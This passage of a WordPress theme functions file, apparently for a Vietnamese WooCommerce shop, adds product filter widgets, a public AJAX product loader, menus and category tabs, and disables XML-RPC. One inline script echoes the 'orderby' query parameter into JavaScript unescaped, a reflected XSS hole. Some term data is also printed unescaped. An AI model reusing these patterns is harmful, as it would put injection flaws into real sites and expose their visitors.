<?php echo $after_widget;}}}function wsgr_cross_sell_product_widget(){register_widget('WSGR_Cross_Sell_Product_Widget');}add_action('widgets_init','wsgr_cross_sell_product_widget');class WSGR_Cross_Sell_Product_Widget extends WP_Widget{function __construct(){parent::__construct('cross_sell_product_widget','WSGR Cross Sell Product',array('description'=>'Danh sách sản phẩm bán chéo'));}function form($instance){parent::form($instance);$default=array('title'=>'Sản phẩm thường mua cùng');$instance=wp_parse_args((array) $instance,$default);$title=esc_attr($instance['title']);echo '<label>Nhập tiêu đề</label><input class="widefat" type="text" name="'.$this->get_field_name('title').'" value="'.$title.'" />';}function update($new_instance,$old_instance){parent::update($new_instance,$old_instance);$instance=$old_instance;$instance['title']=strip_tags($new_instance['title']);return $instance;}function widget($args,$instance){if(is_singular('product')){global $product;$cross_sell_ids_arr=$product->get_cross_sell_ids();$cross_sell_ids=is_array($cross_sell_ids_arr)?implode(',',$cross_sell_ids_arr):'';extract($args);$title=apply_filters('widget_title',$instance['title']);echo $before_widget;echo $before_title.$title.$after_title;echo do_shortcode('[ux_products_list ids="'.$cross_sell_ids.'" products="5"]');  ?>
<?php echo $after_widget;}}}add_filter('woocommerce_product_tabs','wsgr_remove_additional_information',98);function wsgr_remove_additional_information($tabs){unset($tabs['additional_information']);return $tabs;}add_action('wp_ajax_load_filtered_product','func_load_filtered_product');add_action('wp_ajax_nopriv_load_filtered_product','func_load_filtered_product');function func_load_filtered_product(){$cat_id=isset($_POST['cat_id'])?$_POST['cat_id']:'';$id_result=isset($_POST['id_result'])?$_POST['id_result']:'';$filter_str=isset($_POST['filter_str'])?$_POST['filter_str']:'';$orderby_str=isset($_POST['orderby'])?$_POST['orderby']:'menu_order';switch($orderby_str){case 'menu_order':$orderby='menu_order';$meta_key='';$order='ASC';break;case 'price':$orderby='meta_value_num';$meta_key='_price';$order='ASC';break;case 'price-desc':$orderby='meta_value_num';$meta_key='_price';$order='DESC';break;case 'date':$orderby='date';$meta_key='';$order='DESC';break;case 'popularity':$orderby='meta_value_num';$meta_key='total_sales';$order='DESC';break;default:$orderby='meta_value_num';$meta_key='_price';$order='ASC';break;}$pro_per_page=isset($_POST['pro_per_page'])?$_POST['pro_per_page']:'10';$offset=isset($_POST['offset'])?$_POST['offset']:'';$tax_query_arr=[];if(!empty($filter_str)){$filter_arr=explode('&',$filter_str);foreach($filter_arr as $value){$value_arr=explode('=',$value);$args_tax=array('taxonomy'=>$value_arr[0],'field'=>'id','terms'=>explode(',',$value_arr[1]),'operator'=>'IN');$tax_query_arr[]=$args_tax;}}$tax_query_arr[]=array('taxonomy'=>'product_cat','field'=>'id','terms'=>array($cat_id),'include_children'=>true,'operator'=>'IN');$args=array('post_type'=>'product','post_status'=>array('publish'),'posts_per_page'=>$pro_per_page,'offset'=>$offset,'tax_query'=>array('relation'=>'AND',$tax_query_arr ),'orderby'=>$orderby,'meta_key'=>$meta_key,'order'=>$order,);$filtered_product=new WP_Query($args);$filtered_product_count=$filtered_product->found_posts;$filtered_product_html='';if($filtered_product->have_posts()):while($filtered_product->have_posts()):$filtered_product->the_post();ob_start();wc_get_template_part('content','product');$filtered_product_html.=ob_get_clean();ob_flush();endwhile;else:$filtered_product_html.='Không có sản phẩm được tìm thấy';endif;$filtered_product_result['id_result']=$id_result;$filtered_product_result['count']=$filtered_product_count;$filtered_product_result['html']=$filtered_product_html;$filtered_product_result['offset']=$offset;echo json_encode($filtered_product_result);wp_reset_postdata();die();}function add_script_product_archive(){  ?>
<script type="text/javascript">
$(document).ready(function(){$(".menu-filter").append('<a href="javascript:;" class="xem-them col" onclick="$(this).hide();$(this).parent().find(\'.product-category:nth-child(1n+8)\').addClass(\'show\');">Xem thêm</a>'),$('.menu-filter > .col > .col-inner a[href="'+window.location.href.split("?")[0]+'"]').parents(".product-category").addClass("active"),$('.menu-filter-mobile > .col > .col-inner a[href="'+window.location.href.split("?")[0]+'"]').parents(".product-category").addClass("active");var e=$(".menu-filter > .col > .col-inner a");for(let t=0;t<e.length;t++)window.location.href.split("?")[0]==e.eq(t).attr("href")&&($(".menu-filter").find(".product-category:nth-child(1n+8)").addClass("show"),$(".menu-filter a.xem-them").remove());var t="<?= get_queried_object()->term_id ?>",a='<?= get_theme_mod("products_pr_page") ?>',o=0,n="",r=new Array,s=0,c='<?= isset($_GET["orderby"])?$_GET["orderby"]:"menu_order" ?>';function d(){var e=$("div.products.row").find(".featured");for(i=0;i<e.length;i++)e.eq(i).removeClass("featured")}async function m(e=!0,m=!0){try{o=0;var p=new Array,f=$("a.filter-item.chosen"),u="",v="";for(i=0;i<f.length;i++)u+="_"+f.eq(i).data("value"),v+='<li><a class="btn-filtering" href="#" data-remove="'+f.eq(i).data("value")+'">'+f.eq(i).children(".item-text").text()+"</a></li>";for($(".filtering").html(v),$(".filtering").find("li").length>0?$(".filtering").parents(".widget_custom_html").show():$(".filtering").parents(".widget_custom_html").hide(),k=0;k<r.length;k++)p.push(r[k].id_result);if(p.includes(u)){for(l=0;l<r.length;l++)if(r[l].id_result==u){n=r[l].html,s=r[l].count-a,$("div.products.row").html(n),d(),$("a.viewresult").html("Xem "+r[l].count+" sản phẩm"),r[l].count>a?($("a.load-more-btn").html("Xem thêm "+s+" sản phẩm"),$("a.load-more-btn").css("display","block")):$("a.load-more-btn").css("display","none");break}}else{var g=$("a.filter-item.chosen").parents(".woocommerce-widget-layered-nav-list"),b=[];for(j=0;j<g.length;j++){var y=g.eq(j).find("a.filter-item.chosen"),w=[];for(h=0;h<y.length;h++)w.push(y.eq(h).data("value"));var _=w.join(",");b.push(g.eq(j).data("tax")+"="+_)}var x=b.join("&");$.ajax({type:"post",data:{action:"load_filtered_product",filter_str:x,cat_id:t,id_result:u,orderby:c,pro_per_page:a,offset:o},dataType:"json",url:"/wp-admin/admin-ajax.php",beforeSend:function(){m&&($("body").append('<div class="icon-loading"><span class="cswrap"><span class="csdot"></span><span class="csdot"></span><span class="csdot"></span></span></div>'),$("html").addClass("noscroll"))}}).done(function(t){$("body").find(".icon-loading").remove(),$("html").removeClass("noscroll"),r.push(t),n=t.html,s=t.count-a,1==e&&($("div.products.row").html(n),d()),$("a.viewresult").html("Xem "+t.count+" sản phẩm"),t.count>a?($("a.load-more-btn").html("Xem thêm "+s+" sản phẩm"),$("a.load-more-btn").css("display","block")):$("a.load-more-btn").css("display","none"),$("a.viewresult").css("display","block")}).fail(function(e,t,a){console.log(t+": "+a)})}}catch(e){console.log(e)}}m(!1,!1),$("ul.filtering").on("click","a.btn-filtering",function(){var e=$(this).data("remove");return $('a.filter-item[data-value="'+e+'"]').removeClass("chosen"),m(),$(this).remove(),!1}),$("a.filter-item").on("click",function(){return $(this).toggleClass("chosen"),m(),!1}),$(".filter-box-promotion a.filter-item").on("click",function(){return $(this).toggleClass("chosen"),m(),!1}),$(".filter-box-feature a.filter-item").on("click",function(){return $(this).toggleClass("chosen"),m(!1),!1}),$("a.viewresult").on("click",function(){$("div.products.row").html(n),d(),$(".filter-box-feature").css("display","none"),$(".filter-box-feature").parents(".filter-box-feature-div").removeClass("expand-flex")}),$(".load-more-btn").on("click",function(){var e=$("a.filter-item.chosen").parents(".woocommerce-widget-layered-nav-list"),l=[];for(j=0;j<e.length;j++){var r=e.eq(j).find("a.filter-item.chosen"),i=[];for(h=0;h<r.length;h++)i.push(r.eq(h).data("value"));var m=i.join(",");l.push(e.eq(j).data("tax")+"="+m)}var p=l.join("&");return o+=a,$.ajax({type:"post",data:{action:"load_filtered_product",filter_str:p,cat_id:t,orderby:c,pro_per_page:a,offset:o},dataType:"json",url:"/wp-admin/admin-ajax.php",beforeSend:function(){$("body").append('<div class="icon-loading"><span class="cswrap"><span class="csdot"></span><span class="csdot"></span><span class="csdot"></span></span></div>'),$("html").addClass("noscroll")}}).done(function(e){$("body").find(".icon-loading").remove(),$("html").removeClass("noscroll"),console.log(e),n=e.html,s=e.count-(o+a),$("div.products.row").append(n),d(),s>a?($("a.load-more-btn").html("Xem thêm "+s+" sản phẩm"),$("a.load-more-btn").css("display","block")):$("a.load-more-btn").css("display","none")}).fail(function(e,t,a){console.log(t+": "+a)}),!1})});
</script>
<?php }add_action('woocommerce_before_main_content','add_script_product_archive');if(!function_exists('wsgr_woocommerce_catalog_ordering')){function wsgr_woocommerce_catalog_ordering(){if(!wc_get_loop_prop('is_paginated')||!woocommerce_products_will_display()){return;}$show_default_orderby='menu_order'===apply_filters('woocommerce_default_catalog_orderby',get_option('woocommerce_default_catalog_orderby','menu_order'));$catalog_orderby_options=apply_filters('woocommerce_catalog_orderby',array('popularity'=>__('Phổ biến nhất','woocommerce'),'price'=>__('Giá thấp đến cao','woocommerce'),'price-desc'=>__('Giá cao đến thấp','woocommerce'),));$default_orderby=wc_get_loop_prop('is_search')?'relevance':apply_filters('woocommerce_default_catalog_orderby',get_option('woocommerce_default_catalog_orderby',''));$orderby=isset($_GET['orderby'])?wc_clean(wp_unslash($_GET['orderby'])):$default_orderby;if(wc_get_loop_prop('is_search')){$catalog_orderby_options=array_merge(array('relevance'=>__('Relevance','woocommerce')),$catalog_orderby_options);unset($catalog_orderby_options['menu_order']);}if(!$show_default_orderby){unset($catalog_orderby_options['menu_order']);}if(!wc_review_ratings_enabled()){unset($catalog_orderby_options['rating']);}if(!array_key_exists($orderby,$catalog_orderby_options)){$orderby=current(array_keys($catalog_orderby_options));}wc_get_template('loop/orderby-custom.php',array('catalog_orderby_options'=>$catalog_orderby_options,'orderby'=>$orderby,'show_default_orderby'=>$show_default_orderby,));}}function wsgr_add_ordering_func(){ob_start();wsgr_woocommerce_catalog_ordering();$orderby_html=ob_get_clean();ob_flush();return $orderby_html;}add_shortcode('wsgr_add_ordering','wsgr_add_ordering_func',99);function load_more(){if(!get_theme_mod('flatsome_infinite_scroll')){  ?>
<style type="text/css">
.woocommerce-pagination {
    display: none;
}
</style>
<p class="text-center"><a href="#" class="load-more-btn">Xem thêm</a></p>
<?php }}add_action('woocommerce_after_main_content','load_more');function action_flatsome_after_single_post(){$cat_id=get_the_category()[0]->term_id;echo do_shortcode('[title text="Bài viết liên quan" tag_name="h4" margin_top="10px" margin_bottom="0px"][blog_posts style="normal" type="row" columns="3" cat="'.$cat_id.'" posts="9" show_date="false" excerpt="false" show_category="label" text_align="left" text_size="small" class="bai-cung-chuyen-muc"]');}add_action('ts_after_single_post','action_flatsome_after_single_post');register_nav_menus(array('blog_menu'=>'Blog Menu'));function wsgr_filter_product_by(){register_widget('WSGR_Filter_Product_By_Widget');}add_action('widgets_init','wsgr_filter_product_by');class WSGR_Filter_Product_By_Widget extends WC_Widget{public function __construct(){$this->widget_cssclass='woocommerce widget_layered_nav woocommerce-widget-layered-nav';$this->widget_description=__('Lọc sản phẩm theo thuộc tính','woocommerce');$this->widget_id='wsgr_filter_product_by_widget';$this->widget_name=__('WSGR Filter Product By','woocommerce');parent::__construct();}public function update($new_instance,$old_instance){$this->init_settings();return parent::update($new_instance,$old_instance);}public function form($instance){$this->init_settings();parent::form($instance);}public function init_settings(){$attribute_array=array();$std_attribute='';$attribute_taxonomies=wc_get_attribute_taxonomies();if(!empty($attribute_taxonomies)){foreach($attribute_taxonomies as $tax){if(taxonomy_exists(wc_attribute_taxonomy_name($tax->attribute_name))){$attribute_array[$tax->attribute_name]=$tax->attribute_name;}}$std_attribute=current($attribute_array);}$this->settings=array('title'=>array('type'=>'text','std'=>__('Filter by','woocommerce'),'label'=>__('Title','woocommerce'),),'content'=>array('type'=>'textarea','label'=>__('Content','woocommerce'),'codemirror'=>array('indentUnit'=>2,'tabSize'=>2,),),'attribute'=>array('type'=>'select','std'=>$std_attribute,'label'=>__('Attribute','woocommerce'),'options'=>$attribute_array,),'display_type'=>array('type'=>'select','std'=>'text','label'=>__('Display type','woocommerce'),'options'=>array('text'=>__('Text','woocommerce'),'image'=>__('Image','woocommerce'),'vertical_image'=>__('Vertical Image','woocommerce'),),),'column'=>array('type'=>'select','std'=>'0','label'=>__('Số cột','woocommerce'),'options'=>array('0'=>__('Mặc định','woocommerce'),'1'=>__('1 cột','woocommerce'),'2'=>__('2 cột','woocommerce'),),),);}protected function get_instance_taxonomy($instance){if(isset($instance['attribute'])){return wc_attribute_taxonomy_name($instance['attribute']);}$attribute_taxonomies=wc_get_attribute_taxonomies();if(!empty($attribute_taxonomies)){foreach($attribute_taxonomies as $tax){if(taxonomy_exists(wc_attribute_taxonomy_name($tax->attribute_name))){return wc_attribute_taxonomy_name($tax->attribute_name);}}}return '';}protected function get_instance_query_type($instance){return isset($instance['query_type'])?$instance['query_type']:'and';}protected function get_instance_display_type($instance){return isset($instance['display_type'])?$instance['display_type']:'text';}protected function get_instance_content($instance){return isset($instance['content'])?$instance['content']:'';}protected function get_instance_column($instance){return isset($instance['column'])?$instance['column']:'0';}public function widget($args,$instance){if(!is_shop()&&!is_product_taxonomy()){return;}$_chosen_attributes=WC_Query::get_layered_nav_chosen_attributes();$taxonomy=$this->get_instance_taxonomy($instance);$query_type=$this->get_instance_query_type($instance);$display_type=$this->get_instance_display_type($instance);$content=$this->get_instance_content($instance);$column=$this->get_instance_column($instance);if(!taxonomy_exists($taxonomy)){return;}$terms=get_terms($taxonomy,array('hide_empty'=>'1'));ob_start();$this->widget_start($args,$instance);if('dropdown'===$display_type){wp_enqueue_script('selectWoo');wp_enqueue_style('select2');$found=$this->layered_nav_dropdown($terms,$taxonomy,$query_type);}else{$found=$this->layered_nav_list($terms,$taxonomy,$query_type,$display_type,$content,$column);}$this->widget_end($args);if(!is_tax()&&is_array($_chosen_attributes)&&array_key_exists($taxonomy,$_chosen_attributes)){$found=true;}if(!$found){ob_end_clean();}else{echo ob_get_clean();}}protected function get_current_taxonomy(){return is_tax()?get_queried_object()->taxonomy:'';}protected function get_current_term_id(){return absint(is_tax()?get_queried_object()->term_id:0);}protected function get_current_term_slug(){return absint(is_tax()?get_queried_object()->slug:0);}protected function layered_nav_dropdown($terms,$taxonomy,$query_type){global $wp;$found=false;if($taxonomy!==$this->get_current_taxonomy()){$term_counts=$this->get_filtered_term_product_counts(wp_list_pluck($terms,'term_id'),$taxonomy,$query_type);$_chosen_attributes=WC_Query::get_layered_nav_chosen_attributes();$taxonomy_filter_name=wc_attribute_taxonomy_slug($taxonomy);$taxonomy_label=wc_attribute_label($taxonomy);$any_label=apply_filters('woocommerce_layered_nav_any_label',sprintf(__('Any %s','woocommerce'),$taxonomy_label),$taxonomy_label,$taxonomy);$multiple='or'===$query_type;$current_values=isset($_chosen_attributes[$taxonomy]['terms'])?$_chosen_attributes[$taxonomy]['terms']:array();if(''===get_option('permalink_structure')){$form_action=remove_query_arg(array('page','paged'),add_query_arg($wp->query_string,'',home_url($wp->request)));}else{$form_action=preg_replace('%\/page/[0-9]+%','',home_url(trailingslashit($wp->request)));}echo '<form method="get" action="'.esc_url($form_action).'" class="woocommerce-widget-layered-nav-dropdown">';echo '<select class="woocommerce-widget-layered-nav-dropdown dropdown_layered_nav_'.esc_attr($taxonomy_filter_name).'"'.($multiple?'multiple="multiple"':'').'>';echo '<option value="">'.esc_html($any_label).'</option>';foreach($terms as $term){if($term->term_id===$this->get_current_term_id()){continue;}$option_is_set=in_array($term->slug,$current_values,true);$count=isset($term_counts[$term->term_id])?$term_counts[$term->term_id]:0;if(0<$count){$found=true;}elseif(0===$count&&$option_is_set){continue;}echo '<option value="'.esc_attr(urldecode($term->slug)).'" '.selected($option_is_set,true,false).'>'.esc_html($term->name).'</option>';}echo '</select>';if($multiple){echo '<button class="woocommerce-widget-layered-nav-dropdown__submit" type="submit" value="'.esc_attr__('Apply','woocommerce').'">'.esc_html__('Apply','woocommerce').'</button>';}if('or'===$query_type){echo '<input type="hidden" name="query_type_'.esc_attr($taxonomy_filter_name).'" value="or" />';}echo '<input type="hidden" name="filter_'.esc_attr($taxonomy_filter_name).'" value="'.esc_attr(implode(',',$current_values)).'" />';echo wc_query_string_form_fields(null,array('filter_'.$taxonomy_filter_name,'query_type_'.$taxonomy_filter_name),'',true);echo '</form>';wc_enqueue_js("\n\t\t\t\t// Update value on change.\n\t\t\t\tjQuery( '.dropdown_layered_nav_".esc_js($taxonomy_filter_name)."' ).change( function() {\n\t\t\t\t\tvar slug = jQuery( this ).val();\n\t\t\t\t\tjQuery( ':input[name=\"filter_".esc_js($taxonomy_filter_name)."\"]' ).val( slug );\n\n\t\t\t\t\t// Submit form on change if standard dropdown.\n\t\t\t\t\tif ( ! jQuery( this ).attr( 'multiple' ) ) {\n\t\t\t\t\t\tjQuery( this ).closest( 'form' ).submit();\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t\t// Use Select2 enhancement if possible\n\t\t\t\tif ( jQuery().selectWoo ) {\n\t\t\t\t\tvar wc_layered_nav_select = function() {\n\t\t\t\t\t\tjQuery( '.dropdown_layered_nav_".esc_js($taxonomy_filter_name)."' ).selectWoo( {\n\t\t\t\t\t\t\tplaceholder: decodeURIComponent('".rawurlencode((string) wp_specialchars_decode($any_label))."'),\n\t\t\t\t\t\t\tminimumResultsForSearch: 5,\n\t\t\t\t\t\t\twidth: '100%',\n\t\t\t\t\t\t\tallowClear: ".($multiple?'false':'true').",\n\t\t\t\t\t\t\tlanguage: {\n\t\t\t\t\t\t\t\tnoResults: function() {\n\t\t\t\t\t\t\t\t\treturn '".esc_js(_x('No matches found','enhanced select','woocommerce'))."';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} );\n\t\t\t\t\t};\n\t\t\t\t\twc_layered_nav_select();\n\t\t\t\t}\n\t\t\t");}return $found;}protected function get_filtered_term_product_counts($term_ids,$taxonomy,$query_type){global $wpdb;$main_tax_query=$this->get_main_tax_query();$meta_query=$this->get_main_meta_query();$non_variable_tax_query_sql=array('where'=>'');$is_and_query='and'===$query_type;foreach($main_tax_query as $key=>$query){if(is_array($query)&&$taxonomy===$query['taxonomy']){if($is_and_query){$non_variable_tax_query_sql=$this->convert_tax_query_to_sql(array($query));}unset($main_tax_query[$key]);}}$exclude_variable_products_tax_query_sql=$this->get_extra_tax_query_sql('product_type',array('variable'),'NOT IN');$meta_query_sql=(new WP_Meta_Query($meta_query))->get_sql('post',$wpdb->posts,'ID');$main_tax_query_sql=$this->convert_tax_query_to_sql($main_tax_query);$term_ids_sql='('.implode(',',array_map('absint',$term_ids)).')';$query=array();$query['select']="SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as term_count, terms.term_id as term_count_id";$query['from']="FROM {$wpdb->posts}";$query['join']="
INNER JOIN {$wpdb->term_relationships} AS tr ON {$wpdb->posts}.ID = tr.object_id
INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
INNER JOIN {$wpdb->terms} AS terms USING( term_id )
{$main_tax_query_sql['join']} {$meta_query_sql['join']}";$variable_where_part="
OR ({$wpdb->posts}.post_type = 'product_variation'
AND NOT EXISTS (
    SELECT ID FROM {$wpdb->posts} AS parent
    WHERE parent.ID = {$wpdb->posts}.post_parent AND parent.post_status NOT IN ('publish')
))
";$search_sql='';$search=$this->get_main_search_query_sql();if($search){$search_sql=' AND '.$search;}$query['where']="
WHERE
{$wpdb->posts}.post_status = 'publish'
{$main_tax_query_sql['where']} {$meta_query_sql['where']}
AND (
    (
        {$wpdb->posts}.post_type = 'product'
        {$exclude_variable_products_tax_query_sql['where']}
        {$non_variable_tax_query_sql['where']}
    )
    {$variable_where_part}
)
AND terms.term_id IN {$term_ids_sql}
{$search_sql}";$search=$this->get_main_search_query_sql();if($search){$query['where'].=' AND '.$search;}$query['group_by']='GROUP BY terms.term_id';$query=apply_filters('woocommerce_get_filtered_term_product_counts_query',$query);$query_sql=implode(' ',$query);$query_hash=md5($query_sql);$cache=apply_filters('woocommerce_layered_nav_count_maybe_cache',true);if(true===$cache){$cached_counts=(array) get_transient('wc_layered_nav_counts_'.sanitize_title($taxonomy));}else{$cached_counts=array();}if(!isset($cached_counts[$query_hash])){$results=$wpdb->get_results($query_sql,ARRAY_A);$counts=array_map('absint',wp_list_pluck($results,'term_count','term_count_id'));$cached_counts[$query_hash]=$counts;if(true===$cache){set_transient('wc_layered_nav_counts_'.sanitize_title($taxonomy),$cached_counts,DAY_IN_SECONDS);}}return array_map('absint',(array) $cached_counts[$query_hash]);}protected function get_main_tax_query(){return WC_Query::get_main_tax_query();}protected function get_main_search_query_sql(){return WC_Query::get_main_search_query_sql();}protected function get_main_meta_query(){return WC_Query::get_main_meta_query();}private function get_extra_tax_query_sql($taxonomy,$terms,$operator){$query=array(array('taxonomy'=>$taxonomy,'field'=>'slug','terms'=>$terms,'operator'=>$operator,'include_children'=>false,),);return $this->convert_tax_query_to_sql($query);}private function convert_tax_query_to_sql($query){global $wpdb;return(new WP_Tax_Query($query))->get_sql($wpdb->posts,'ID');}protected function layered_nav_list($terms,$taxonomy,$query_type,$display_type,$content,$column){echo '<ul class="woocommerce-widget-layered-nav-list '.$terms[0]->taxonomy.' '.$display_type.' cot-'.$column.'" data-tax="'.$terms[0]->taxonomy.'">';echo $content;$term_counts=$this->get_filtered_term_product_counts(wp_list_pluck($terms,'term_id'),$taxonomy,$query_type);$_chosen_attributes=WC_Query::get_layered_nav_chosen_attributes();$found=false;$base_link=$this->get_current_page_url();foreach($terms as $term){$current_values=isset($_chosen_attributes[$taxonomy]['terms'])?$_chosen_attributes[$taxonomy]['terms']:array();$option_is_set=in_array($term->slug,$current_values,true);$count=isset($term_counts[$term->term_id])?$term_counts[$term->term_id]:0;if($this->get_current_term_id()===$term->term_id){continue;}if(0<$count){$found=true;}elseif(0===$count&&!$option_is_set){continue;}$filter_name='filter_'.wc_attribute_taxonomy_slug($taxonomy);$current_filter=isset($_GET[$filter_name])?explode(',',wc_clean(wp_unslash($_GET[$filter_name]))):array();$current_filter=array_map('sanitize_title',$current_filter);if(!in_array($term->slug,$current_filter,true)){$current_filter[]=$term->slug;}$link=remove_query_arg($filter_name,$base_link);foreach($current_filter as $key=>$value){if($value===$this->get_current_term_slug()){unset($current_filter[$key]);}if($option_is_set&&$value===$term->slug){unset($current_filter[$key]);}}if(!empty($current_filter)){asort($current_filter);$link=add_query_arg($filter_name,implode(',',$current_filter),$link);if('or'===$query_type&&!(1===count($current_filter)&&$option_is_set)){$link=add_query_arg('query_type_'.wc_attribute_taxonomy_slug($taxonomy),'or',$link);}$link=str_replace('%2C',',',$link);}if($count>=0||$option_is_set){$link=apply_filters('woocommerce_layered_nav_link',$link,$term,$taxonomy);$term_image_url=get_field('logo',$taxonomy.'_'.$term->term_id);if(!empty($term_image_url)){$term_image_html='<img class="item-image" src="'.$term_image_url.'">';$class_hidden='hidden';}else{$term_image_html='';$class_hidden='';}$term_image_html=$term_image_url?'<img class="item-image" src="'.$term_image_url.'">':'';if(!empty($term->description)){$define='<span class="define-filter">?<div class="define-text"><p>'.$term->description.'</p></div></span>';}else{$define='';}switch($display_type){case 'text':$term_html='<a class="filter-item" rel="nofollow" href="#" data-tax="'.$taxonomy.'" data-value="'.$term->term_id.'" data-slug="'.$term->slug.'"><span class="item-text">'.esc_html($term->name).'</span>'.$define.'</a>';break;case 'image':$term_html='<a class="filter-item" rel="nofollow" href="#" data-tax="'.$taxonomy.'" data-value="'.$term->term_id.'" data-slug="'.$term->slug.'">'.$term_image_html.'<span class="item-text '.$class_hidden.'">'.esc_html($term->name).'</span></a>';break;case 'vertical_image':$term_html='<div class="filter-image">'.$term_image_html.'</div><a class="filter-item" rel="nofollow" href="#" data-tax="'.$taxonomy.'" data-value="'.$term->term_id.'" data-slug="'.$term->slug.'"><span class="item-text">'.esc_html($term->name).'</span>'.$define.'</a>';break;default:$term_html='<a class="filter-item" rel="nofollow" href="#" data-tax="'.$taxonomy.'" data-value="'.$term->term_id.'" data-slug="'.$term->slug.'"><span class="item-text">'.esc_html($term->name).'</span>'.$define.'</a>';break;}}else{$link=false;$term_html='<span>'.esc_html($term->name).'</span>';}echo '<li class="woocommerce-widget-layered-nav-list__item wc-layered-nav-term '.($option_is_set?'woocommerce-widget-layered-nav-list__item--chosen chosen':'').'">';echo apply_filters('woocommerce_layered_nav_term_html',$term_html,$term,$link,$count);echo '</li>';}echo '</ul>';return $found;}}add_action('woocommerce_after_single_product','func_woocommerce_after_single_product');function func_woocommerce_after_single_product(){if(is_singular('product')){  ?>
<script type="text/javascript">
    $(document).ready(function(){
        var win_width = $( window ).width();
        if(win_width <= 849){
            var product_sidebar = $('#product-sidebar');
            $('#product-sidebar').remove();
            $('.product-description').append(product_sidebar);
        }
    })
</script>
<?php }}if(!class_exists('WSGR_Flatsome_Vertical_Menu')){class WSGR_Flatsome_Vertical_Menu{public function __construct(){add_filter('flatsome_header_element',array($this,'menu_element'));add_action('after_setup_theme',array($this,'register_menu_location'));add_action('flatsome_header_elements',array($this,'mega_menu_template'));}public function menu_element($nav_elements){$nav_elements['mega-menu']=__('<span style="background-color: red">Vertical Menu</span>','flatsome-admin');return $nav_elements;}public function register_menu_location(){register_nav_menus(array('mega_menu'=>__('Vertical Menu','flatsome'),));}public function mega_menu_template($value){if($value=='mega-menu'){$menu_title=__('Danh mục','flatsome');  ?>
<div id="mega-menu-wrap" class="ot-vm-hover">
    <div id="mega-menu-title">
        <i class="icon-menu"></i> <?php echo $menu_title;  ?>
    </div>
    <?php wp_nav_menu(array('theme_location'=>'mega_menu','container'=>false,'menu_id'=>'mega_menu','menu_class'=>'sf-menu sf-vertical','depth'=>0,));  ?>
</div>
<?php }}}new WSGR_Flatsome_Vertical_Menu();}if(class_exists('Mega_Menu_Walker')):add_filter('megamenu_walker_nav_menu_start_el','wsgr_walker_nav_menu_start_el',10,4);function wsgr_walker_nav_menu_start_el($item_output,$item,$depth,$args){$custom_html=get_field('custom_html',$item);if($custom_html){return $item_output.$custom_html;}return $item_output;}endif;function wsgr_add_element_subcate(){add_ux_builder_shortcode('title_with_cat',array('name'=>__('Title Subcate'),'category'=>__('Content'),'info'=>'{{ text }}','wrap'=>false,'options'=>array('wsgr_cat_ids'=>array('type'=>'select','heading'=>'Product Cate','param_name'=>'ids','config'=>array('multiple'=>true,'placeholder'=>'Select...','termSelect'=>array('post_type'=>'product_cat','taxonomies'=>'product_cat'))),'margin_top'=>array('type'=>'scrubfield','heading'=>__('Margin Top'),'default'=>'','placeholder'=>__('0px'),'min'=>-100,'max'=>300,'step'=>1,),'margin_bottom'=>array('type'=>'scrubfield','heading'=>__('Margin Bottom'),'default'=>'','placeholder'=>__('0px'),'min'=>-100,'max'=>300,'step'=>1,),),));}add_action('ux_builder_setup','wsgr_add_element_subcate');function title_with_cat_shortcode($atts,$content=null){extract(shortcode_atts(array('_id'=>'title-'.rand(),'margin_top'=>'','margin_bottom'=>'',),$atts));$small_text='';$css_args=array(array('attribute'=>'margin-top','value'=>$margin_top),array('attribute'=>'margin-bottom','value'=>$margin_bottom),);if(isset($atts['wsgr_cat_ids'])){$ids=explode(',',$atts['wsgr_cat_ids']);$parent='';$orderby='include';}else{$ids=array();}$args=array('taxonomy'=>'product_cat','include'=>$ids,'pad_counts'=>true,'child_of'=>0,'orderby'=>$orderby,);$product_categories=get_terms($args);$wsgr_html_show_cat='';if($product_categories){foreach($product_categories as $category){$wsgr_html_show_cat.='<li class="wsgr-cats-item" data-cate-id="'.$category->term_id.'"><span>'.$category->name.'</span></li>';}}  ?>
<style>
ul.wsgr-cats-list{list-style:none;margin:0;display:flex;border:1px solid #f3f3f3;border-bottom:0;font-size:13px}.home ul.wsgr-cats-list{border-right:0}li.wsgr-cats-item{margin:0!important;flex:1;text-align:center;display:flex;justify-content:center;align-items:center;min-height:40px;border-right:1px solid #f3f3f3;cursor:pointer}li.wsgr-cats-item:last-child{border-right:none}li.wsgr-cats-item.active{background:#cf1717;color:#fff;font-weight:600;border-color:#cf1717}
</style>
<script type="text/javascript">
$(document).ready(function(){var a=20,s=0,n="",t=new Array;$(".wsgr-cats-item").on("click",function(){$(this).parent(".wsgr-cats-list").children(".wsgr-cats-item").removeClass("active"),$(this).addClass("active"),async function(e=!0,o=!0,i,c){try{s=0;var r=new Array,d=i.toString();for(k=0;k<t.length;k++)r.push(t[k].id_result);if(r.includes(d)){for(l=0;l<t.length;l++)if(t[l].id_result==d){n=t[l].html,t[l].count-a,c.parents(".col-inner").children("div.row.equalize-box").html(n);break}}else $.ajax({type:"post",data:{action:"load_filtered_product",cat_id:i,id_result:d,orderby:"menu_order",pro_per_page:a,offset:s},dataType:"json",url:"/wp-admin/admin-ajax.php",beforeSend:function(){o&&($("body").append('<div class="icon-loading"><span class="cswrap"><span class="csdot"></span><span class="csdot"></span><span class="csdot"></span></span></div>'),$("html").addClass("noscroll"))}}).done(function(s){$("body").find(".icon-loading").remove(),$("html").removeClass("noscroll"),t.push(s),n=s.html,s.count-a,1==e&&c.parents(".col-inner").children("div.row.equalize-box").html(n)}).fail(function(a,s,n){console.log(s+": "+n)})}catch(a){console.log(a)}}(!0,!0,$(this).data("cate-id"),$(this))}),$(".wsgr-cats-item:first-child").addClass("active")});
</script>
<?php return '<div class="wsgr-cats-block" '.get_shortcode_inline_css($css_args).'><ul class="wsgr-cats-list">'.$wsgr_html_show_cat.'</ul></div><!-- .section-title -->';}add_shortcode('title_with_cat','title_with_cat_shortcode');function func_wsgr_before_product_loop(){global $cateID;$category_image=get_field('category_image','category_'.$cateID);$image_html=$category_image?'<img src="'.$category_image.'">':'';echo '<div class="col large-12 text-center">'.$image_html.'</div>';}add_action('wsgr_before_product_loop','func_wsgr_before_product_loop');
add_action('wp_dashboard_setup', 'my_custom_dashboard_widgets',1);







add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', 'wptangtoc_remove_x_pingback');
add_filter('pings_open', '__return_false', 9999);
